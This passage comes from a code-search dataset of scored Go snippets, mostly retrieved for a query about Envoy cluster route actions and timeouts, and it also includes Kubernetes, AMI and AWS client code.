true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "a018af084a8ab3c48a9cf5b974dfcda2", "score": "0.5304171", "text": "func TestProjectModel_CreateProject(t *testing.T) {\n\ttests := []struct {\n\t\tname string\n\t\tpr *ProjectModel\n\t}{\n\t\t{\n\t\t\t\"Prueba_1\",\n\t\t\tprojects[0],\n\t\t}, {\n\t\t\t\"Prueba_2\",\n\t\t\tprojects[1],\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tSetupDatabase(false)\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tvar ex = &ProjectModel{}\n\t\t\ttt.pr.Lenguajes = lenguajes\n\t\t\ttt.pr.CreateProject()\n\t\t\tex, _, err := Project.ReadProject(tt.pr.ID)\n\t\t\tif err != nil {\n\t\t\t\tt.Errorf(err.Error())\n\t\t\t}\n\t\t\t//ex.Lenguajes = readRelationships(ex.ID)\n\t\t\tcompareNotes(tt.pr.Notas, ex.Notas, t)\n\t\t\tcompareImages(tt.pr.Galeria, ex.Galeria, t)\n\t\t\tcompareLenguajes(tt.pr.Lenguajes, ex.Lenguajes, t)\n\t\t\t// ex.Notas, tt.pr.Notas = nil, nil\n\t\t\t// ex.Galeria, tt.pr.Galeria = nil, nil\n\t\t\tif !reflect.DeepEqual(&ex, &tt.pr) {\n\t\t\t\tt.Errorf(\"Expected: %v, got %v\", tt.pr, ex)\n\t\t\t}\n\t\t})\n\t}\n}", "title": "" }, { "docid": "ff7268618ea48475ee0ff9b504b13cbb", "score": "0.5303293", "text": "func getProjects(ctx context.Context) {\n\tglog.V(2).Infof(\">>>>>>>>>>> Getting Projects\")\n\treq := crmService.Projects.List()\n\tif err := req.Pages(ctx, func(page *cloudresourcemanager.ListProjectsResponse) error {\n\t\tfor _, p := range page.Projects {\n\t\t\tif p.LifecycleState == \"ACTIVE\" {\n\t\t\t\tprojects = append(projects, p)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}); err != nil {\n\t\tglog.Fatal(err)\n\t}\n}", "title": "" }, { "docid": "4423bfbb60bed6fd7b90a477d7223600", "score": "0.5299411", "text": "func (sc *ServiceConfig) ProjectIsKnown(project string) bool {\n\tfor _, p := range sc.Projects {\n\t\tif p.Name == project {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "4cd3e16530909cb50fa4999b6b634cb5", "score": "0.5298498", "text": "func (s *ProjectsService) Get(pid int64) (Project, *gorequest.Response, []error) {\n\tvar project Project\n\tresp, _, errs := s.client.\n\t\tNewRequest(gorequest.GET, fmt.Sprintf(s.getConfigString(base), pid)).\n\t\tEndStruct(&project)\n\treturn project, &resp, errs\n}", "title": "" }, { "docid": "dc6d10ccd38f7e84098f6dd4a3b8b631", "score": "0.529139", "text": "func (o *ProcessGroupMetadata) GetGoogleCloudProjectsOk() (*[]string, bool) {\n\tif o == nil || o.GoogleCloudProjects == nil {\n\t\treturn nil, false\n\t}\n\treturn o.GoogleCloudProjects, true\n}", "title": "" }, { "docid": "d803506051d22d9f85e91609f526b0d6", "score": "0.5290141", "text": "func (ps Projects) Next() (*Project, error) {\n\tfor x := range ps {\n\t\tswitch x := x.(type) {\n\t\tcase error:\n\t\t\treturn nil, x\n\t\tcase *Project:\n\t\t\treturn x, nil\n\t\t}\n\t\tbreak\n\t}\n\treturn nil, io.EOF\n}", "title": "" } ]
cc9fa94898a32887694962ebdf6ea114
clusteractiontimeout returns a cluster action with the specified timeout. A timeout of 0 means infinity. If you do not want to specify a timeout, use clusteraction instead.
[ { "docid": "c3f49cfb4cc1571d60777ba2dd08efd7", "score": "0.83339787", "text": "func clusteractiontimeout(name string, timeout time.Duration) *route.Route_Route {\n\t// TODO(cmaloney): Pull timeout off of the backend cluster annotation\n\t// and use it over the value retrieved from the ingress annotation if\n\t// specified.\n\tc := clusteraction(name)\n\tc.Route.Timeout = &timeout\n\treturn c\n}", "title": "" } ]
[ { "docid": "20116d7c3ecc20c5b2c413f2399882db", "score": "0.63243204", "text": "func clusteraction(cluster string) *route.Route_Route {\n\treturn &route.Route_Route{\n\t\tRoute: &route.RouteAction{\n\t\t\tClusterSpecifier: &route.RouteAction_Cluster{\n\t\t\t\tCluster: cluster,\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "c2fc611020d3a2ff4f0b24eeed426be5", "score": "0.59115475", "text": "func clusterWait(p *cluster.Peer, timeout time.Duration) func() time.Duration {\n\treturn func() time.Duration {\n\t\treturn time.Duration(p.Position()) * timeout\n\t}\n}", "title": "" }, { "docid": "a7bc0dbd8b8b1ab8d8decca56499e82e", "score": "0.54741263", "text": "func (o RegionUrlMapPathMatcherRouteRuleRouteActionOutput) Timeout() RegionUrlMapPathMatcherRouteRuleRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v RegionUrlMapPathMatcherRouteRuleRouteAction) *RegionUrlMapPathMatcherRouteRuleRouteActionTimeout {\n\t\treturn v.Timeout\n\t}).(RegionUrlMapPathMatcherRouteRuleRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "79489f4af63a7063cad31142eb677a57", "score": "0.5450552", "text": "func (o ClusterOutput) CreateTimeout() pulumi.IntOutput {\n\treturn o.ApplyT(func(v *Cluster) pulumi.IntOutput { return v.CreateTimeout }).(pulumi.IntOutput)\n}", "title": "" }, { "docid": "09fedea8e6f86395f81f3342173d9018", "score": "0.5425357", "text": "func (o URLMapPathMatcherDefaultRouteActionOutput) Timeout() URLMapPathMatcherDefaultRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v URLMapPathMatcherDefaultRouteAction) *URLMapPathMatcherDefaultRouteActionTimeout {\n\t\treturn v.Timeout\n\t}).(URLMapPathMatcherDefaultRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "088c531e872da4b82e3cae0246d26fd2", "score": "0.541109", "text": "func (o RegionUrlMapDefaultRouteActionOutput) Timeout() RegionUrlMapDefaultRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v RegionUrlMapDefaultRouteAction) *RegionUrlMapDefaultRouteActionTimeout { return v.Timeout }).(RegionUrlMapDefaultRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "5667176d021cbfe89e229b9128dfb62b", "score": "0.53808475", "text": "func (o RegionUrlMapPathMatcherPathRuleRouteActionOutput) Timeout() RegionUrlMapPathMatcherPathRuleRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v RegionUrlMapPathMatcherPathRuleRouteAction) *RegionUrlMapPathMatcherPathRuleRouteActionTimeout {\n\t\treturn v.Timeout\n\t}).(RegionUrlMapPathMatcherPathRuleRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "db3504d9c76b45bca03c5dc718117f71", "score": "0.53505874", "text": "func (o *GetDeploymentActionsUsingGETParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "7f0eea51736f92a6371f9d24284c54a4", "score": "0.533281", "text": "func (s *server) buildRouteActionCluster(routeEntry types.Route) *route.Route_Route {\n\n\taction := &route.Route_Route{\n\t\tRoute: &route.RouteAction{\n\t\t\tCors: buildCorsPolicy(routeEntry),\n\t\t\tHostRewriteSpecifier: buildHostRewriteSpecifier(routeEntry),\n\t\t\tRetryPolicy: buildRetryPolicy(routeEntry),\n\t\t\tTimeout: ptypes.DurationProto(routeEntry.Attributes.GetAsDuration(types.AttributeTimeout,\n\t\t\t\ttypes.DefaultRouteTimeout)),\n\t\t},\n\t}\n\n\tprefixRewrite, err := routeEntry.Attributes.Get(types.AttributePrefixRewrite)\n\tif err == nil && prefixRewrite != \"\" {\n\t\taction.Route.PrefixRewrite = prefixRewrite\n\t}\n\n\tif cluster, err := routeEntry.Attributes.Get(types.AttributeCluster); err == nil {\n\t\taction.Route.ClusterSpecifier = &route.RouteAction_Cluster{\n\t\t\tCluster: cluster,\n\t\t}\n\t}\n\n\tif _, err := routeEntry.Attributes.Get(types.AttributeWeightedClusters); err == nil {\n\t\taction.Route.ClusterSpecifier = s.buildWeightedClusters(routeEntry)\n\t}\n\n\t// Stop in case we do not have any route cluster destination\n\tif action.Route.ClusterSpecifier == nil {\n\t\treturn nil\n\t}\n\n\taction.Route.RateLimits = buildRateLimits(routeEntry)\n\taction.Route.RequestMirrorPolicies = s.buildRequestMirrorPolicies(routeEntry)\n\n\treturn action\n}", "title": "" }, { "docid": "436c5f7219e787e748793e6ab6b57b71", "score": "0.5313982", "text": "func (o URLMapPathMatcherPathRuleRouteActionOutput) Timeout() URLMapPathMatcherPathRuleRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v URLMapPathMatcherPathRuleRouteAction) *URLMapPathMatcherPathRuleRouteActionTimeout {\n\t\treturn v.Timeout\n\t}).(URLMapPathMatcherPathRuleRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "93b5a71d7c9605fbefa12933f66342f8", "score": "0.53136814", "text": "func (o *CreateEsClusterParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "28c48f5e95fed9ad3a4429fa1c6a60f1", "score": "0.5286804", "text": "func NewActionTimeoutExtractor(defaultExecutionTimeout, maximumExecutionTimeout time.Duration) *ActionTimeoutExtractor {\n\treturn &ActionTimeoutExtractor{\n\t\tdefaultExecutionTimeout: defaultExecutionTimeout,\n\t\tmaximumExecutionTimeout: maximumExecutionTimeout,\n\t}\n}", "title": "" }, { "docid": "5c82ab2f49c4402a14308a686381d86f", "score": "0.52773196", "text": "func (o *ModifyClusterNodeAttributesParams) WithTimeout(timeout time.Duration) *ModifyClusterNodeAttributesParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "title": "" }, { "docid": "5a8ece07303ffc013c94434a08c2ad95", "score": "0.5275179", "text": "func (o URLMapDefaultRouteActionOutput) Timeout() URLMapDefaultRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v URLMapDefaultRouteAction) *URLMapDefaultRouteActionTimeout { return v.Timeout }).(URLMapDefaultRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "8ba0992324c6f59813e6356610fe92ef", "score": "0.5219754", "text": "func (o NodeInitializationActionOutput) ExecutionTimeout() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NodeInitializationAction) *string { return v.ExecutionTimeout }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "85c9936d264327c479e32e8fe20d89e8", "score": "0.5211916", "text": "func (client *AMIClient) Action(action string, params Params, actionTimeout time.Duration) (*AMIResponse, error) {\n\tvar ActionID string\n\tif params == nil {\n\t\tparams = Params{}\n\t}\n\tif _, ok := params[\"ActionID\"]; !ok {\n\t\tActionID = fmt.Sprintf(\"%d\", time.Now().UnixNano())\n\t\tparams[\"ActionID\"] = ActionID\n\t} else {\n\t\tActionID = params[\"ActionID\"]\n\t}\n\tresp, err := client.AsyncAction(action, params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttime.AfterFunc(actionTimeout, func() {\n\t\tclient.mutexAsyncAction.Lock()\n\t\tif c, exists := client.response[ActionID]; exists {\n\t\t\tdelete(client.response, ActionID)\n\t\t\tclient.mutexAsyncAction.Unlock()\n\t\t\tresponse := &AMIResponse{ID: ActionID, Status: \"Error\", Params: make(map[string]string)}\n\t\t\tresponse.Params[\"Error\"] = \"Timeout\"\n\t\t\tc <- response\n\t\t\tclose(c)\n\t\t\treturn\n\t\t}\n\t\tclient.mutexAsyncAction.Unlock()\n\t})\n\tresponse := <-resp\n\treturn response, nil\n}", "title": "" }, { "docid": "74e0c799c0d672df316f03f39340929d", "score": "0.51510894", "text": "func (o RegionUrlMapDefaultRouteActionPtrOutput) Timeout() RegionUrlMapDefaultRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v *RegionUrlMapDefaultRouteAction) *RegionUrlMapDefaultRouteActionTimeout {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Timeout\n\t}).(RegionUrlMapDefaultRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "3e2702720762cffe1290f851b547d9a2", "score": "0.51431125", "text": "func (o *V2DownloadClusterManifestParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "1ecd4894662cbe4c137d888da80c3c0a", "score": "0.5138147", "text": "func (a *DeleteClusterAction) ExecuteAction(input interface{}) (output interface{}, err error) {\n\ta.log.Info(\"EXECUTE DeleteClusterAction\")\n\n\teksSrv := eks.New(a.context.Session)\n\tdeleteClusterInput := &eks.DeleteClusterInput{\n\t\tName: aws.String(a.context.ClusterName),\n\t}\n\t_, err = eksSrv.DeleteCluster(deleteClusterInput)\n\n\tif awsErr, ok := err.(awserr.Error); ok {\n\t\tif awsErr.Code() == eks.ErrCodeResourceNotFoundException {\n\t\t\treturn nil, nil\n\t\t}\n\t}\n\n\t// wait until cluster exists\n\tstartTime := time.Now()\n\ta.log.Info(\"waiting for EKS cluster deletion\")\n\tdescribeClusterInput := &eks.DescribeClusterInput{\n\t\tName: aws.String(a.context.ClusterName),\n\t}\n\terr = a.waitUntilClusterExists(aws.BackgroundContext(), describeClusterInput)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tendTime := time.Now()\n\ta.log.Info(\"EKS cluster deleted successfully in\", endTime.Sub(startTime).String())\n\n\treturn nil, err\n}", "title": "" }, { "docid": "8f5d19e272fe2d49ab6b408827fe7f53", "score": "0.5133513", "text": "func (o *ModifyClusterNodeAttributesParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "3e1944b1a53e64457f62a5c53d30f133", "score": "0.51313937", "text": "func (o RegionUrlMapPathMatcherRouteRuleRouteActionPtrOutput) Timeout() RegionUrlMapPathMatcherRouteRuleRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v *RegionUrlMapPathMatcherRouteRuleRouteAction) *RegionUrlMapPathMatcherRouteRuleRouteActionTimeout {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Timeout\n\t}).(RegionUrlMapPathMatcherRouteRuleRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "decc08843f131fc74fe437fa47f2b845", "score": "0.5126201", "text": "func NewClusterActionRunner(context context.Context, client client.Client, scheme *runtime.Scheme, cr runtime.Object) ActionRunner {\n\treturn &ClusterActionRunner{\n\t\tclient: client,\n\t\tcontext: context,\n\t\tscheme: scheme,\n\t\tcr: cr,\n\t}\n}", "title": "" }, { "docid": "522ef433bb0a0f58a5b6034d9976fdd1", "score": "0.5119394", "text": "func (o *ListClusterConfigsParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "5edcc26dd764d91e5a675a759fca29dc", "score": "0.5107829", "text": "func (s *IndicesShrinkService) Timeout(timeout string) *IndicesShrinkService {\r\n\ts.timeout = timeout\r\n\treturn s\r\n}", "title": "" }, { "docid": "5cdaf90b1aefd759d3a0cb37603406c2", "score": "0.51027405", "text": "func (o *SetActionParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "299f57a5824e092383f70fddd8eff226", "score": "0.5101888", "text": "func (o *GetResourceActionsUsingGETParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "8d6c2d9502799b51912c2a218cb7e694", "score": "0.508314", "text": "func Timeout(t time.Duration) metaOp {\n\treturn func(c *Client) {\n\t\tc.http.Timeout = t\n\t}\n}", "title": "" }, { "docid": "0dac43b9b7b0100b433481aa7c1b12bd", "score": "0.50775653", "text": "func (o *ListClustersOnEndpointUsingGETParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "2663a5d56a2702f284d1453d2ae76cda", "score": "0.50668424", "text": "func (o URLMapPathMatcherDefaultRouteActionPtrOutput) Timeout() URLMapPathMatcherDefaultRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v *URLMapPathMatcherDefaultRouteAction) *URLMapPathMatcherDefaultRouteActionTimeout {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Timeout\n\t}).(URLMapPathMatcherDefaultRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "d170e6de16ad3cacdbcbadc0b5401968", "score": "0.5030039", "text": "func (o RegionUrlMapPathMatcherPathRuleRouteActionPtrOutput) Timeout() RegionUrlMapPathMatcherPathRuleRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v *RegionUrlMapPathMatcherPathRuleRouteAction) *RegionUrlMapPathMatcherPathRuleRouteActionTimeout {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Timeout\n\t}).(RegionUrlMapPathMatcherPathRuleRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "6957115bbe30889a959b64bcbc2c76db", "score": "0.50288856", "text": "func (client *AMIClient) Action(action string, params Params) (*AMIResponse, error) {\n\tresp, err := client.AsyncAction(action, params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tselect {\n\tcase response := <-resp:\n\t\treturn response, nil\n\tcase <-time.After(time.Second * 5):\n\t\treturn nil, errors.New(\"operation timed out\")\n\t}\n}", "title": "" }, { "docid": "56087ff84861f21a2df9b1cd150a45a2", "score": "0.5021517", "text": "func (o URLMapDefaultRouteActionPtrOutput) Timeout() URLMapDefaultRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v *URLMapDefaultRouteAction) *URLMapDefaultRouteActionTimeout {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Timeout\n\t}).(URLMapDefaultRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "93cb245ccb74feb969401ce586e99f71", "score": "0.4997", "text": "func (o *V2DownloadClusterManifestParams) WithTimeout(timeout time.Duration) *V2DownloadClusterManifestParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "title": "" }, { "docid": "7ceb9d2cf6143322ef770548b68a928c", "score": "0.49901986", "text": "func WithTimeout(timeout time.Duration) OpOption {\n\treturn func(op *Op) { op.timeout = timeout }\n}", "title": "" }, { "docid": "109a023c6203c3248fa8a28adcc74363", "score": "0.497644", "text": "func (o *GetDeploymentActionsUsingGETParams) WithTimeout(timeout time.Duration) *GetDeploymentActionsUsingGETParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "title": "" }, { "docid": "0987815e2a8f13cc25335ced8c35655a", "score": "0.49655148", "text": "func (o URLMapPathMatcherPathRuleRouteActionPtrOutput) Timeout() URLMapPathMatcherPathRuleRouteActionTimeoutPtrOutput {\n\treturn o.ApplyT(func(v *URLMapPathMatcherPathRuleRouteAction) *URLMapPathMatcherPathRuleRouteActionTimeout {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Timeout\n\t}).(URLMapPathMatcherPathRuleRouteActionTimeoutPtrOutput)\n}", "title": "" }, { "docid": "a05380c80db796428a5210dc8eb9a4ce", "score": "0.49510786", "text": "func ActionClient(af *dds.ActionFactory) dds.Action {\n\tactionName := af.ActionName\n\n\tvar nc *nats.Conn\n\tvar err error\n\n\tfor i := 0; i != 3 && nc == nil; i++ {\n\t\t<-time.After(500 * time.Millisecond)\n\t\tnc, err = nats.Connect(nats.DefaultURL)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Error connecting to nats: '%v'\\n\", err)\n\t\t}\n\t}\n\n\tif nc == nil {\n\t\tpanic(errors.New(\"Failed to connect to nats, giving up\\n\"))\n\t}\n\n\treturn func(i interface{}) (resp interface{}, err error) {\n\t\terr = request(nc, actionName, i, &resp)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "9117cd752df7aced18be403177c37ef9", "score": "0.4901629", "text": "func (o ClusterOutput) ResourceAction() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *Cluster) pulumi.StringPtrOutput { return v.ResourceAction }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "a1e7a52edb9a42964ee9e85989060e0c", "score": "0.48787457", "text": "func WaitAction(act func(), timeout time.Duration) (success bool) {\n\twaitChan := make(chan struct{})\n\tgo func() {\n\t\tact()\n\t\tclose(waitChan)\n\t}()\n\tselect {\n\tcase <-waitChan:\n\t\tsuccess = true\n\tcase <-time.After(timeout):\n\t\tsuccess = false\n\t}\n\treturn\n}", "title": "" }, { "docid": "0f37c0ffd7a08a2c869f7c9bfa1edc06", "score": "0.4877156", "text": "func (s *IndicesCreateService) Timeout(timeout string) *IndicesCreateService {\n\ts.timeout = timeout\n\treturn s\n}", "title": "" }, { "docid": "db251f611f0a14c70050a7dbeebc49e1", "score": "0.48524404", "text": "func (o NodeInitializationActionResponseOutput) ExecutionTimeout() pulumi.StringOutput {\n\treturn o.ApplyT(func(v NodeInitializationActionResponse) string { return v.ExecutionTimeout }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "1546aa7281c5e53ebc4b14bf0f67f9b7", "score": "0.48523203", "text": "func timeout(target *core.BuildTarget, test bool) time.Duration {\n\tif test {\n\t\treturn target.TestTimeout\n\t}\n\treturn target.BuildTimeout\n}", "title": "" }, { "docid": "123e0d88f2ae2810f42df2aba22748f5", "score": "0.48324865", "text": "func (kub *Kubectl) CiliumClusterwidePolicyAction(filepath string, action ResourceLifeCycleAction, timeout time.Duration) (string, error) {\n\tpodRevisions, err := kub.getPodRevisions()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tnumNodes := len(podRevisions)\n\n\tkub.Logger().Infof(\"Performing %s action on resource '%s'\", action, filepath)\n\n\tstatus := kub.Action(action, filepath)\n\tif !status.WasSuccessful() {\n\t\treturn \"\", status.GetErr(fmt.Sprintf(\"Cannot perform '%s' on resource '%s'\", action, filepath))\n\t}\n\tunchanged := action == KubectlApply && strings.HasSuffix(status.Stdout(), \" unchanged\\n\")\n\n\t// If policy is uninstalled we can't require a policy being enforced.\n\tif action != KubectlDelete {\n\t\tjqFilter := getPolicyEnforcingJqFilter(numNodes)\n\t\tbody := func() bool {\n\t\t\tvar data []map[string]string\n\t\t\tcmd := fmt.Sprintf(\"%s get ccnp -o json | jq '%s'\",\n\t\t\t\tKubectlCmd, jqFilter)\n\n\t\t\tres := kub.ExecShort(cmd)\n\t\t\tif !res.WasSuccessful() {\n\t\t\t\tkub.Logger().WithError(res.GetErr(\"\")).Error(\"cannot get ccnp status\")\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\terr := res.Unmarshal(&data)\n\t\t\tif err != nil {\n\t\t\t\tkub.Logger().WithError(err).Error(\"Cannot unmarshal json\")\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tfor _, item := range data {\n\t\t\t\tif item[\"enforcing\"] != \"true\" || item[\"status\"] != \"true\" {\n\t\t\t\t\tkub.Logger().Errorf(\"Clusterwide policy '%s' is not enforcing yet\", item[\"name\"])\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\n\t\terr := WithTimeout(\n\t\t\tbody,\n\t\t\t\"Timed out while waiting CCNP to be enforced\",\n\t\t\t&TimeoutConfig{Timeout: timeout})\n\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\t// If the applied policy was unchanged, we don't need to wait for the next policy revision.\n\tif unchanged {\n\t\treturn \"\", nil\n\t}\n\n\treturn \"\", kub.waitNextPolicyRevisions(podRevisions, timeout)\n}", "title": "" }, { "docid": "8af1f5ec9a42edbc37cf50bfd6333588", "score": "0.48286137", "text": "func NewModifyClusterNodeAttributesParamsWithTimeout(timeout time.Duration) *ModifyClusterNodeAttributesParams {\n\tvar ()\n\treturn &ModifyClusterNodeAttributesParams{\n\n\t\ttimeout: timeout,\n\t}\n}", "title": "" }, { "docid": "3c9cb0861200090c4cc0ca67dd9eeb3e", "score": "0.48162344", "text": "func (o *PostPrivateClusterTemplateParams) WithTimeout(timeout time.Duration) *PostPrivateClusterTemplateParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "title": "" }, { "docid": "2b60a4abbdf0388e9a7e7ddcbb6ef01f", "score": "0.478113", "text": "func (o *SetActionParams) WithTimeout(timeout time.Duration) *SetActionParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "title": "" }, { "docid": "aa20ec049ce4fa84b874687a82d4bed0", "score": "0.47682545", "text": "func (s *NodesStatsService) Timeout(timeout string) *NodesStatsService {\n\ts.timeout = timeout\n\treturn s\n}", "title": "" }, { "docid": "81f5a2f4d1ef2f3ea4dcc2defedaf22d", "score": "0.476026", "text": "func (o *GetClusterClusterIDTaskRepairTaskIDRunIDParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "7b3996a849b8ec3881a4fee6b5394167", "score": "0.474769", "text": "func timeoutArgument() string {\n\treturn fmt.Sprintf(\"-oConnectTimeout=%d\", connectTimeoutSeconds)\n}", "title": "" }, { "docid": "828ad29d037d3a7324e93c4bc79cb3c5", "score": "0.4745624", "text": "func (_ExecutionChallenge *ExecutionChallengeTransactor) TimeoutChallenge(opts *bind.TransactOpts) (*types.Transaction, error) {\n\treturn _ExecutionChallenge.contract.Transact(opts, \"timeoutChallenge\")\n}", "title": "" }, { "docid": "da2a210325603f3907bab9a4fd405011", "score": "0.473327", "text": "func (o *PrepareDistroxClusterUpgradeByCrnParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "854ec4d400505381f20d3fe46837b98d", "score": "0.4718458", "text": "func (t *tester) timeout(sec int) string {\n\treturn \"-timeout=\" + t.timeoutDuration(sec).String()\n}", "title": "" }, { "docid": "f5f00ca77e8fa3fa51e0bba82377f794", "score": "0.47180924", "text": "func (o *PostPrivateClusterTemplateParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "daa6d7a88dac99440adb43c7242861d3", "score": "0.4717669", "text": "func (o LookupFunctionResultOutput) Timeout() pulumi.IntOutput {\n\treturn o.ApplyT(func(v LookupFunctionResult) int { return v.Timeout }).(pulumi.IntOutput)\n}", "title": "" }, { "docid": "a292229a2d8c0b79d60f469f43fd7635", "score": "0.47168744", "text": "func (o *MetroclusterSvmCollectionGetParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "8406d6d630b8fc047f99f30b1e686d0e", "score": "0.46976033", "text": "func (_ExecutionChallenge *ExecutionChallengeTransactorSession) TimeoutChallenge() (*types.Transaction, error) {\n\treturn _ExecutionChallenge.Contract.TimeoutChallenge(&_ExecutionChallenge.TransactOpts)\n}", "title": "" }, { "docid": "02569cfbd65931ac1c1e169804399f7b", "score": "0.46754918", "text": "func (e ActionTimeoutExtractor) ExtractTimeout(action *remoteexecution.Action) (time.Duration, error) {\n\tif action.Timeout == nil {\n\t\treturn e.defaultExecutionTimeout, nil\n\t}\n\tif err := action.Timeout.CheckValid(); err != nil {\n\t\treturn 0, util.StatusWrapWithCode(err, codes.InvalidArgument, \"Invalid execution timeout\")\n\t}\n\texecutionTimeout := action.Timeout.AsDuration()\n\tif executionTimeout < 0 || executionTimeout > e.maximumExecutionTimeout {\n\t\treturn 0, status.Errorf(\n\t\t\tcodes.InvalidArgument,\n\t\t\t\"Execution timeout of %s is outside permitted range [0s, %s]\",\n\t\t\texecutionTimeout,\n\t\t\te.maximumExecutionTimeout)\n\t}\n\treturn executionTimeout, nil\n}", "title": "" }, { "docid": "3aa0694e0ef6c54cff3be4a2519fca3e", "score": "0.46666843", "text": "func (c *Command) Timeout(timeout *time.Duration) *Command {\n\tif c == nil {\n\t\tc = new(Command)\n\t}\n\n\tc.timeout = timeout\n\treturn c\n}", "title": "" }, { "docid": "15044359c4ae53af65bd1b09ea11ba8d", "score": "0.46654198", "text": "func (o *ColumnFamilyCompactionStrategyByNamePostParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "c5ece4bdc07dfa4edb3d8d9d92a60776", "score": "0.46583685", "text": "func (_Challenge *ChallengeTransactor) TimeoutChallenge(opts *bind.TransactOpts) (*types.Transaction, error) {\n\treturn _Challenge.contract.Transact(opts, \"timeoutChallenge\")\n}", "title": "" }, { "docid": "10e1ecd2180427d7b853da47e52e1e8f", "score": "0.46516266", "text": "func (_Challenge *ChallengeTransactorSession) TimeoutChallenge() (*types.Transaction, error) {\n\treturn _Challenge.Contract.TimeoutChallenge(&_Challenge.TransactOpts)\n}", "title": "" }, { "docid": "b09a8269273e28ef2d833b482d92e856", "score": "0.4649583", "text": "func (o LookupClusterResultOutput) ResourceAction() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v LookupClusterResult) *string { return v.ResourceAction }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "215c0e1b28bc6d044dfb385e69c2e910", "score": "0.464738", "text": "func (o *GetResourceActionsUsingGETParams) WithTimeout(timeout time.Duration) *GetResourceActionsUsingGETParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "title": "" }, { "docid": "f154f4840136081bec009bd85cad2a32", "score": "0.4642804", "text": "func Timeout(t time.Duration) ConnectOption {\n\treturn func(c *sshConfig) error {\n\t\tc.clientConfig.Timeout = t\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "7d07c3ca7652e3a470c6d6bae228fe36", "score": "0.46421137", "text": "func NewClusterActuator(params ActuatorParams) (*AzureClusterClient, error) {\n\tazureServicesClients, err := azureServicesClientOrDefault(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &AzureClusterClient{\n\t\tservices: azureServicesClients,\n\t\tclient: params.Client,\n\t}, nil\n}", "title": "" }, { "docid": 